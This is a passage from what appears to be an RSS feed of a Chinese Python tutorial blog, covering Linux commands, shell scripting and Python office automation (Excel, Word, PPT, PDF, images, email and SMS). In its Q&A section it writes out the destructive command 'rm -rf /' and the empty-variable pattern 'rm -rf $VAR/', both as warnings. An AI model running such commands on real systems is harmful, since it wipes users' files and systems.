tail -n 20 file         # 看后 20 行（tail -f 实时跟踪日志）
less file               # 分页查看（q 退出）
wc -l file              # 统计行数
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查找与文本处理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;find /path -name &quot;*.py&quot;              # 按名字查找文件
find . -type f -mtime -1             # 找 1 天内修改的文件
grep &quot;error&quot; app.log                 # 在文件中搜索文本
grep -r &quot;TODO&quot; ./src                 # 递归搜索目录
grep -i &quot;error&quot; log                  # 忽略大小写
grep -n &quot;pattern&quot; file               # 显示行号

# 管道组合（Linux 精髓）
ps aux | grep python                 # 找 python 进程
cat access.log | grep 404 | wc -l    # 统计 404 次数
ls -l | sort -k5 -n                  # 按文件大小排序
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;进程与权限&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ps aux                  # 查看所有进程
top                     # 实时进程监控（htop 更好用）
kill -9 PID             # 强制杀进程
killall python          # 按名字杀

chmod 755 file          # 改权限（r=4 w=2 x=1，755=rwxr-xr-x）
chmod +x script.sh      # 加执行权限
chown user:group file   # 改属主
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;权限数字速记&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;r(读)=4  w(写)=2  x(执行)=1
755 = rwx(7) r-x(5) r-x(5) = 属主全权，组和其他读+执行
644 = rw-(6) r--(4) r--(4) = 属主读写，其他只读（常见文件权限）
600 = rw-(6) ---(0) ---(0) = 仅属主读写（密钥文件）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、文件系统&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/               根目录
├── /home       普通用户家目录
├── /root       超级用户家目录
├── /etc        系统配置文件
├── /var        可变数据（/var/log 日志、/var/www 网站）
├── /usr        用户程序和资源
├── /bin        基本命令
├── /tmp        临时文件
├── /opt        第三方软件
└── /proc       系统信息（虚拟文件系统）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 绝对路径 vs 相对路径
cd /var/www/blog        # 绝对路径（从 / 开始）
cd ./src                # 相对路径（. 当前，.. 上级）

# 磁盘与挂载
df -h                   # 查看磁盘使用
du -sh /var/www         # 查看目录大小
mount /dev/sdb1 /mnt    # 挂载
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、Vim 编辑器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Vim 三种模式：
- 普通模式（Normal）：打开即是，用于移动/删除/复制
- 插入模式（Insert）：按 i 进入，编辑文本，按 Esc 退出
- 命令模式（Command）：按 : 进入，执行命令

常用操作：
i        进入插入模式
Esc      回到普通模式
:w       保存
:q       退出
:wq      保存并退出
:q!      不保存强制退出
dd       删除当前行
yy       复制当前行
p        粘贴
u        撤销
/word    搜索
:n       跳到第 n 行
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;七、环境变量与 Shell 编程&lt;/h2&gt;
&lt;h3&gt;环境变量&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;echo $PATH              # 查看 PATH
export MY_VAR=&quot;hello&quot;   # 设置环境变量（当前会话）
env                     # 查看所有环境变量

# 永久生效：写入 ~/.bashrc 或 ~/.zshrc
echo &apos;export PATH=$PATH:/my/bin&apos; &amp;gt;&amp;gt; ~/.bashrc
source ~/.bashrc        # 重新加载
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Shell 脚本基础&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
# 保存到 script.sh，chmod +x script.sh，./script.sh 运行

# 变量（无类型，$ 引用）
name=&quot;Ethan&quot;
echo &quot;Hello, $name&quot;
echo &quot;当前时间：$(date)&quot;      # 命令替换

# 接收参数
echo &quot;脚本名：$0&quot;
echo &quot;第一个参数：$1&quot;
echo &quot;参数个数：$#&quot;
echo &quot;所有参数：$@&quot;

# 条件判断
if [ -f &quot;file.txt&quot; ]; then        # -f 文件存在，-d 目录，-z 空串
    echo &quot;文件存在&quot;
else
    echo &quot;文件不存在&quot;
fi

# 循环
for i in 1 2 3; do
    echo &quot;数字 $i&quot;
done

for file in *.py; do
    echo &quot;找到 $file&quot;
done

count=0
while [ $count -lt 3 ]; do        # -lt 小于, -gt 大于, -eq 等于
    echo $count
    count=$((count + 1))
done

# 函数
greet() {
    echo &quot;Hello, $1&quot;
}
greet &quot;World&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;八、软件安装与网络&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 包管理（Debian/Ubuntu）
sudo apt update                # 更新软件源
sudo apt install python3       # 安装
sudo apt remove python3        # 卸载

# CentOS/RHEL 用 yum / dnf
sudo yum install nginx

# 网络命令
ping baidu.com                 # 测试连通
curl -I https://example.com    # 查看 HTTP 头
wget https://example.com/f.zip # 下载文件
netstat -tlnp                  # 查看监听端口（或 ss -tlnp）
ssh user@host                  # 远程登录
scp file user@host:/path       # 远程复制
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：&lt;code&gt;match&lt;/code&gt;、&lt;code&gt;search&lt;/code&gt;、&lt;code&gt;findall&lt;/code&gt;、&lt;code&gt;fullmatch&lt;/code&gt; 区别？&lt;/strong&gt;
A：&lt;code&gt;match&lt;/code&gt; 从头匹配（不匹配开头就失败）；&lt;code&gt;search&lt;/code&gt; 全文找第一个；&lt;code&gt;findall&lt;/code&gt; 找全部返回列表；&lt;code&gt;fullmatch&lt;/code&gt; 要求整个字符串完全匹配。验证输入用 &lt;code&gt;fullmatch&lt;/code&gt;，提取用 &lt;code&gt;search&lt;/code&gt;/&lt;code&gt;findall&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：正则里为什么要写 &lt;code&gt;r&quot;...&quot;&lt;/code&gt;（原始字符串）？&lt;/strong&gt;
A：因为正则大量使用反斜杠（&lt;code&gt;\d&lt;/code&gt;、&lt;code&gt;\s&lt;/code&gt;），而 Python 字符串里 &lt;code&gt;\&lt;/code&gt; 是转义符。加 &lt;code&gt;r&lt;/code&gt; 前缀让 &lt;code&gt;\&lt;/code&gt; 不被 Python 转义，直接传给正则引擎。不写 &lt;code&gt;r&lt;/code&gt; 就得写 &lt;code&gt;\\d&lt;/code&gt;，很麻烦。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：&lt;code&gt;\d+&lt;/code&gt; 和 &lt;code&gt;\d+?&lt;/code&gt; 区别？&lt;/strong&gt;
A：&lt;code&gt;\d+&lt;/code&gt; 贪婪（尽量多匹配数字），&lt;code&gt;\d+?&lt;/code&gt; 非贪婪（尽量少匹配，只匹配 1 个）。提取 HTML 标签、成对分隔符时常用非贪婪。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：Linux 下 &lt;code&gt;rm -rf&lt;/code&gt; 为什么危险？&lt;/strong&gt;
A：&lt;code&gt;-r&lt;/code&gt; 递归删目录，&lt;code&gt;-f&lt;/code&gt; 强制不提示。&lt;code&gt;rm -rf /&lt;/code&gt; 会删整个系统。生产环境操作前务必确认路径，别在变量为空时 &lt;code&gt;rm -rf $VAR/&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：Shell 里 &lt;code&gt;[ ]&lt;/code&gt; 判断为什么两边要空格？&lt;/strong&gt;
A：&lt;code&gt;[&lt;/code&gt; 本身是个命令（等价 &lt;code&gt;test&lt;/code&gt;），&lt;code&gt;]&lt;/code&gt; 是它的参数，命令和参数之间必须有空格。&lt;code&gt;[ -f file ]&lt;/code&gt; 对，&lt;code&gt;[-f file]&lt;/code&gt; 错。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：&lt;code&gt;chmod 755&lt;/code&gt; 和 &lt;code&gt;chmod +x&lt;/code&gt; 有何区别？&lt;/strong&gt;
A：&lt;code&gt;+x&lt;/code&gt; 只是加执行权限（保留其他）；&lt;code&gt;755&lt;/code&gt; 是精确设置所有权限位（属主 rwx、组 r-x、其他 r-x）。脚本一般 &lt;code&gt;chmod +x&lt;/code&gt;，部署产物常设 &lt;code&gt;755&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;本篇速记&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;正则&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;字符类：&lt;code&gt;\d&lt;/code&gt; 数字 &lt;code&gt;\w&lt;/code&gt; 单词 &lt;code&gt;\s&lt;/code&gt; 空白 &lt;code&gt;.&lt;/code&gt; 任意 &lt;code&gt;[abc]&lt;/code&gt; 集 &lt;code&gt;[^abc]&lt;/code&gt; 反&lt;/li&gt;
&lt;li&gt;量词：&lt;code&gt;*&lt;/code&gt;0+ &lt;code&gt;+&lt;/code&gt;1+ &lt;code&gt;?&lt;/code&gt;0/1 &lt;code&gt;{n,m}&lt;/code&gt;n到m，加 &lt;code&gt;?&lt;/code&gt; 变非贪婪&lt;/li&gt;
&lt;li&gt;锚点：&lt;code&gt;^&lt;/code&gt; 开头 &lt;code&gt;$&lt;/code&gt; 结尾 &lt;code&gt;\b&lt;/code&gt; 词边界&lt;/li&gt;
&lt;li&gt;re 方法：&lt;code&gt;match&lt;/code&gt;(头) &lt;code&gt;search&lt;/code&gt;(首个) &lt;code&gt;findall&lt;/code&gt;(全部) &lt;code&gt;sub&lt;/code&gt;(替换) &lt;code&gt;split&lt;/code&gt;(拆) &lt;code&gt;fullmatch&lt;/code&gt;(全匹配)&lt;/li&gt;
&lt;li&gt;分组：&lt;code&gt;()&lt;/code&gt; 捕获 &lt;code&gt;group(n)&lt;/code&gt;，&lt;code&gt;(?P&amp;lt;名&amp;gt;)&lt;/code&gt; 命名分组&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;r&quot;...&quot;&lt;/code&gt; 原始字符串写正则&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Linux&lt;/strong&gt;
7. 文件：&lt;code&gt;ls/cd/pwd/cp/mv/rm/mkdir/touch/cat/head/tail/grep/find&lt;/code&gt;
8. 权限：&lt;code&gt;chmod 755&lt;/code&gt;（rwx=7/5/4）、&lt;code&gt;chown&lt;/code&gt;；644 文件、755 目录/脚本、600 密钥
9. 进程：&lt;code&gt;ps aux&lt;/code&gt;、&lt;code&gt;top&lt;/code&gt;、&lt;code&gt;kill -9&lt;/code&gt;
10. 管道 &lt;code&gt;|&lt;/code&gt; 组合命令是精髓
11. Shell：&lt;code&gt;$1&lt;/code&gt; 参数、&lt;code&gt;if [ -f x ]&lt;/code&gt;、&lt;code&gt;for/while&lt;/code&gt;、&lt;code&gt;#!/bin/bash&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/python-roadmap-07-advanced/&quot;&gt;Python 语言进阶&lt;/a&gt; 将讲解数据结构与算法基础、迭代器与生成器、并发编程（多线程/多进程/异步 IO），以及 Web 前端入门知识。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/python-roadmap-00-overview/&quot;&gt;Python 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/python-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>办公自动化与图像处理</title><link>http://117.72.32.87/blog/posts/python-roadmap-05-office-automation/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/python-roadmap-05-office-automation/</guid><description>Python 办公自动化实战：openpyxl 读写 Excel 与生成图表、python-docx/pptx 操作 Word 与 PPT、PyPDF 处理 PDF（提取/合并/加水印/加密）、Pillow 图像处理、发送邮件与短信。</description><pubDate>Fri, 18 Sep 2026 03:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文对应仓库 &lt;strong&gt;Day24~29&lt;/strong&gt;：用 Python 处理 Office 文档（Excel/Word/PPT）、PDF、图像，以及发送邮件短信。这是 Python &quot;胶水语言&quot; 优势最直观的体现——把重复的办公工作自动化。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;常用库一览&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;任务&lt;/th&gt;
&lt;th&gt;库&lt;/th&gt;
&lt;th&gt;安装&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Excel (.xlsx)&lt;/td&gt;
&lt;td&gt;openpyxl&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install openpyxl&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Word (.docx)&lt;/td&gt;
&lt;td&gt;python-docx&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install python-docx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PPT (.pptx)&lt;/td&gt;
&lt;td&gt;python-pptx&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install python-pptx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PDF&lt;/td&gt;
&lt;td&gt;PyPDF / pdfplumber&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install pypdf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;图像&lt;/td&gt;
&lt;td&gt;Pillow&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pip install Pillow&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;邮件&lt;/td&gt;
&lt;td&gt;smtplib（标准库）&lt;/td&gt;
&lt;td&gt;内置&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;一、Excel 处理（openpyxl）&lt;/h2&gt;
&lt;h3&gt;读 Excel&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from openpyxl import load_workbook

wb = load_workbook(&quot;data.xlsx&quot;)           # 加载工作簿
ws = wb.active                            # 当前活动工作表
# ws = wb[&quot;Sheet1&quot;]                        # 或按名字取

# 读单元格（两种定位方式）
print(ws[&quot;A1&quot;].value)                     # 坐标方式
print(ws.cell(row=1, column=1).value)     # 行列方式（1-based）

# 遍历所有行
for row in ws.iter_rows(values_only=True):
    print(row)                            # 每行是一个元组

# 维度信息
print(ws.max_row, ws.max_column)          # 最大行/列
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;写 Excel&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from openpyxl import Workbook

wb = Workbook()                # 新建工作簿
ws = wb.active
ws.title = &quot;成绩单&quot;

# 写表头
ws.append([&quot;姓名&quot;, &quot;语文&quot;, &quot;数学&quot;, &quot;总分&quot;])

# 写数据行
data = [[&quot;Ethan&quot;, 90, 95], [&quot;Tom&quot;, 85, 88]]
for row in data:
    ws.append(row + [row[1] + row[2]])    # 追加总分

# 直接写单元格
ws[&quot;A1&quot;] = &quot;姓名&quot;
ws.cell(row=2, column=2, value=90)

# 用公式
ws[&quot;D2&quot;] = &quot;=B2+C2&quot;

wb.save(&quot;output.xlsx&quot;)         # 保存
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;调整样式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from openpyxl.styles import Font, Alignment, PatternFill, Border, Side

cell = ws[&quot;A1&quot;]
cell.font = Font(name=&quot;Arial&quot;, size=14, bold=True, color=&quot;FF0000&quot;)
cell.alignment = Alignment(horizontal=&quot;center&quot;, vertical=&quot;center&quot;)
cell.fill = PatternFill(start_color=&quot;FFFF00&quot;, end_color=&quot;FFFF00&quot;, fill_type=&quot;solid&quot;)

# 边框
thin = Side(border_style=&quot;thin&quot;, color=&quot;000000&quot;)
cell.border = Border(left=thin, right=thin, top=thin, bottom=thin)

# 列宽 / 行高
ws.column_dimensions[&quot;A&quot;].width = 20
ws.row_dimensions[1].height = 30

# 合并单元格
ws.merge_cells(&quot;A1:D1&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;生成统计图表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from openpyxl.chart import BarChart, LineChart, PieChart, Reference

# 柱状图
chart = BarChart()
chart.title = &quot;成绩对比&quot;
chart.x_axis.title = &quot;姓名&quot;
chart.y_axis.title = &quot;分数&quot;

# 数据范围（min_col, min_row, max_col, max_row）
data = Reference(ws, min_col=2, min_row=1, max_col=3, max_row=3)
cats = Reference(ws, min_col=1, min_row=2, max_row=3)
chart.add_data(data, titles_from_data=True)
chart.set_categories(cats)

ws.add_chart(chart, &quot;F2&quot;)       # 图表锚定到 F2 单元格
wb.save(&quot;chart.xlsx&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;二、Word 文档（python-docx）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from docx import Document
from docx.shared import Pt, RGBColor
from docx.enum.text import WD_ALIGN_PARAGRAPH

# 创建文档
doc = Document()

# 添加标题（0-9 级）
doc.add_heading(&quot;项目报告&quot;, level=0)
doc.add_heading(&quot;一、概述&quot;, level=1)

# 添加段落
p = doc.add_paragraph(&quot;这是正文内容。&quot;)
p.alignment = WD_ALIGN_PARAGRAPH.CENTER    # 居中

# 设置文字样式（run 是段落中格式统一的一段文字）
run = p.add_run(&quot;加粗红字&quot;)
run.bold = True
run.font.size = Pt(14)
run.font.color.rgb = RGBColor(0xFF, 0x00, 0x00)

# 添加列表
doc.add_paragraph(&quot;第一项&quot;, style=&quot;List Bullet&quot;)
doc.add_paragraph(&quot;第二项&quot;, style=&quot;List Number&quot;)

# 添加表格
table = doc.add_table(rows=2, cols=3)
table.style = &quot;Table Grid&quot;
table.rows[0].cells[0].text = &quot;姓名&quot;
table.rows[1].cells[0].text = &quot;Ethan&quot;

# 添加图片
doc.add_picture(&quot;logo.png&quot;)

doc.save(&quot;report.docx&quot;)

# 读取已有文档
doc = Document(&quot;report.docx&quot;)
for para in doc.paragraphs:
    print(para.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三、PPT 演示文稿（python-pptx）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from pptx import Presentation
from pptx.util import Inches, Pt

prs = Presentation()

# 用版式添加幻灯片（0=标题页，1=标题+内容，5=纯标题，6=空白）
slide_layout = prs.slide_layouts[1]
slide = prs.slides.add_slide(slide_layout)

# 设置标题和正文
slide.shapes.title.text = &quot;Python 办公自动化&quot;
slide.placeholders[1].text = &quot;用代码解放双手&quot;

# 添加文本框
from pptx.util import Inches
left, top = Inches(1), Inches(3)
txbox = slide.shapes.add_textbox(left, top, Inches(8), Inches(1))
txbox.text_frame.text = &quot;这是自定义文本框&quot;

# 添加图片
slide.shapes.add_picture(&quot;chart.png&quot;, Inches(1), Inches(4))

prs.save(&quot;presentation.pptx&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;四、PDF 处理&lt;/h2&gt;
&lt;h3&gt;提取文本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 方式1：pypdf
from pypdf import PdfReader

reader = PdfReader(&quot;doc.pdf&quot;)
print(f&quot;共 {len(reader.pages)} 页&quot;)
for page in reader.pages:
    text = page.extract_text()
    print(text)

# 方式2：pdfplumber（表格提取更强）
import pdfplumber
with pdfplumber.open(&quot;doc.pdf&quot;) as pdf:
    for page in pdf.pages:
        print(page.extract_text())
        for table in page.extract_tables():   # 提取表格
            print(table)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;合并、拆分、旋转&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from pypdf import PdfReader, PdfWriter

# 合并多个 PDF
writer = PdfWriter()
for filename in [&quot;a.pdf&quot;, &quot;b.pdf&quot;]:
    reader = PdfReader(filename)
    for page in reader.pages:
        writer.add_page(page)
with open(&quot;merged.pdf&quot;, &quot;wb&quot;) as f:
    writer.write(f)

# 拆分（每页存一个文件）
reader = PdfReader(&quot;doc.pdf&quot;)
for i, page in enumerate(reader.pages):
    w = PdfWriter()
    w.add_page(page)
    with open(f&quot;page_{i}.pdf&quot;, &quot;wb&quot;) as f:
        w.write(f)

# 旋转页面
reader = PdfReader(&quot;doc.pdf&quot;)
writer = PdfWriter()
for page in reader.pages:
    page.rotate(90)          # 顺时针旋转 90 度
    writer.add_page(page)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;加密与加水印&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from pypdf import PdfReader, PdfWriter

# 加密 PDF
writer = PdfWriter()
reader = PdfReader(&quot;doc.pdf&quot;)
for page in reader.pages:
    writer.add_page(page)
writer.encrypt(&quot;password123&quot;)     # 设置密码
with open(&quot;encrypted.pdf&quot;, &quot;wb&quot;) as f:
    writer.write(f)

# 批量加水印（把水印 PDF 叠加到每页）
watermark = PdfReader(&quot;watermark.pdf&quot;).pages[0]
writer = PdfWriter()
for page in PdfReader(&quot;doc.pdf&quot;).pages:
    page.merge_page(watermark)     # 叠加水印
    writer.add_page(page)
with open(&quot;watermarked.pdf&quot;, &quot;wb&quot;) as f:
    writer.write(f)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;从 HTML/文本创建 PDF&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# reportlab（可生成带中文的 PDF，需注册中文字体）
from reportlab.pdfgen import canvas
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont

pdfmetrics.registerFont(TTFont(&quot;SimHei&quot;, &quot;simhei.ttf&quot;))   # 注册中文字体
c = canvas.Canvas(&quot;created.pdf&quot;)
c.setFont(&quot;SimHei&quot;, 16)
c.drawString(100, 750, &quot;你好，PDF！&quot;)
c.save()
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;五、图像处理（Pillow）&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from PIL import Image, ImageDraw, ImageFont, ImageFilter

# 打开图像
img = Image.open(&quot;photo.jpg&quot;)
print(img.size, img.mode)        # (宽,高) 模式(RGB/RGBA/L)

# 基本操作
img.resize((400, 300))           # 缩放
img.rotate(90)                   # 旋转
img.crop((100, 100, 400, 400))   # 裁剪 (left, upper, right, lower)
img.transpose(Image.FLIP_LEFT_RIGHT)   # 水平翻转
img.convert(&quot;L&quot;)                 # 转灰度
img.thumbnail((200, 200))        # 生成缩略图（保持比例）

# 滤镜
img.filter(ImageFilter.BLUR)             # 模糊
img.filter(ImageFilter.CONTOUR)          # 轮廓
img.filter(ImageFilter.SHARPEN)          # 锐化

# 保存
img.save(&quot;output.png&quot;)           # 靠扩展名决定格式（可 jpg→png）
img.save(&quot;quality.jpg&quot;, quality=85)   # JPEG 质量
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;绘图与添加水印&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;from PIL import Image, ImageDraw, ImageFont

img = Image.open(&quot;photo.jpg&quot;).convert(&quot;RGBA&quot;)
draw = ImageDraw.Draw(img)

# 画图形
draw.line([(0, 0), (200, 200)], fill=&quot;red&quot;, width=3)
draw.rectangle([50, 50, 150, 150], outline=&quot;blue&quot;, width=2)
draw.ellipse([200, 50, 300, 150], fill=&quot;green&quot;)

# 写文字（含中文需指定字体）
font = ImageFont.truetype(&quot;arial.ttf&quot;, 36)
draw.text((10, 10), &quot;Hello&quot;, fill=&quot;white&quot;, font=font)

# 图片水印（把 logo 半透明叠加）
logo = Image.open(&quot;logo.png&quot;).convert(&quot;RGBA&quot;)
logo.putalpha(128)               # 设置透明度 0-255
img.paste(logo, (10, 10), logo)  # 第三个参数是 mask

img.save(&quot;watermarked.png&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;六、发送邮件和短信&lt;/h2&gt;
&lt;h3&gt;发送电子邮件（smtplib）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header

# 1. 构造邮件内容
msg = MIMEMultipart()
msg[&quot;From&quot;] = &quot;sender@qq.com&quot;
msg[&quot;To&quot;] = &quot;receiver@example.com&quot;
msg[&quot;Subject&quot;] = Header(&quot;测试邮件&quot;, &quot;utf-8&quot;)

# 正文（HTML 格式）
body = &quot;&amp;lt;h1&amp;gt;标题&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;这是一封 &amp;lt;b&amp;gt;HTML&amp;lt;/b&amp;gt; 邮件&amp;lt;/p&amp;gt;&quot;
msg.attach(MIMEText(body, &quot;html&quot;, &quot;utf-8&quot;))

# 添加附件
with open(&quot;report.pdf&quot;, &quot;rb&quot;) as f:
    attachment = MIMEText(f.read(), &quot;base64&quot;, &quot;utf-8&quot;)
    attachment[&quot;Content-Type&quot;] = &quot;application/octet-stream&quot;
    attachment[&quot;Content-Disposition&quot;] = &apos;attachment; filename=&quot;report.pdf&quot;&apos;
    msg.attach(attachment)

# 2. 通过 SMTP 发送（以 QQ 邮箱为例，用授权码而非登录密码）
try:
    server = smtplib.SMTP_SSL(&quot;smtp.qq.com&quot;, 465)   # SSL 端口 465
    server.login(&quot;sender@qq.com&quot;, &quot;授权码&quot;)
    server.sendmail(&quot;sender@qq.com&quot;, [&quot;receiver@example.com&quot;], msg.as_string())
    server.quit()
    print(&quot;发送成功&quot;)
except smtplib.SMTPException as e:
    print(f&quot;发送失败：{e}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
邮箱登录用的是 &lt;strong&gt;SMTP 授权码&lt;/strong&gt;（在邮箱设置里开启 SMTP 服务后获取），不是网页登录密码。授权码属于敏感信息，务必放环境变量或配置文件，不要硬编码进代码或提交到 Git。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;发送短信&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 短信需要第三方服务商（阿里云、腾讯云等），这里以阿里云 SDK 为例
from alibabacloud_dysmsapi20170525.client import Client
from alibabacloud_dysmsapi20170525 import models
from alibabacloud_tea_openapi import models as open_api_models

def send_sms(phone, code):
    config = open_api_models.Config(
        access_key_id=&quot;你的AK&quot;,
        access_key_secret=&quot;你的SK&quot;,
    )
    config.endpoint = &quot;dysmsapi.aliyuncs.com&quot;
    client = Client(config)
    request = models.SendSmsRequest(
        phone_numbers=phone,
        sign_name=&quot;你的签名&quot;,
        template_code=&quot;SMS_xxx&quot;,
        template_param=f&apos;{{&quot;code&quot;:&quot;{code}&quot;}}&apos;,
    )
    response = client.send_sms(request)
    return response.body.code == &quot;OK&quot;

# 调用
send_sms(&quot;13800138000&quot;, &quot;123456&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题 Q&amp;amp;A&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q1：处理旧的 &lt;code&gt;.xls&lt;/code&gt;（Excel 97-2003）用什么？&lt;/strong&gt;
A：openpyxl 只支持 &lt;code&gt;.xlsx&lt;/code&gt;。老的 &lt;code&gt;.xls&lt;/code&gt; 用 &lt;code&gt;xlrd&lt;/code&gt;（读）和 &lt;code&gt;xlwt&lt;/code&gt;（写）。现在基本都用 &lt;code&gt;.xlsx&lt;/code&gt; 了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q2：Excel 里写的公式，openpyxl 能算出结果吗？&lt;/strong&gt;
A：不能。openpyxl 只写入公式字符串（如 &lt;code&gt;&quot;=B2+C2&quot;&lt;/code&gt;），不会计算。需要计算结果得用 Excel/WPS 打开触发计算，或用 &lt;code&gt;formulas&lt;/code&gt; 库，或干脆用 Python 算好再写入值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3：中文 PDF 提取出来是乱码或空白？&lt;/strong&gt;
A：&lt;code&gt;pypdf&lt;/code&gt; 对某些 PDF（尤其扫描件、特殊编码）支持有限。表格和复杂版式推荐用 &lt;code&gt;pdfplumber&lt;/code&gt;；扫描件（图片型 PDF）需要先 OCR（如 &lt;code&gt;pytesseract&lt;/code&gt;）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q4：Pillow 处理中文文字显示方块？&lt;/strong&gt;
A：默认字体不含中文。必须用 &lt;code&gt;ImageFont.truetype(&quot;中文字体.ttf&quot;, size)&lt;/code&gt; 指定一个中文字体文件（如 simhei.ttf、msyh.ttf）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q5：这些库需要装 Office 吗？&lt;/strong&gt;
A：不需要。openpyxl/python-docx/python-pptx 都是纯 Python 操作文件，跨平台，服务器上没装 Office 也能跑，这也是自动化批处理的优势。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q6：发邮件端口怎么选？&lt;/strong&gt;
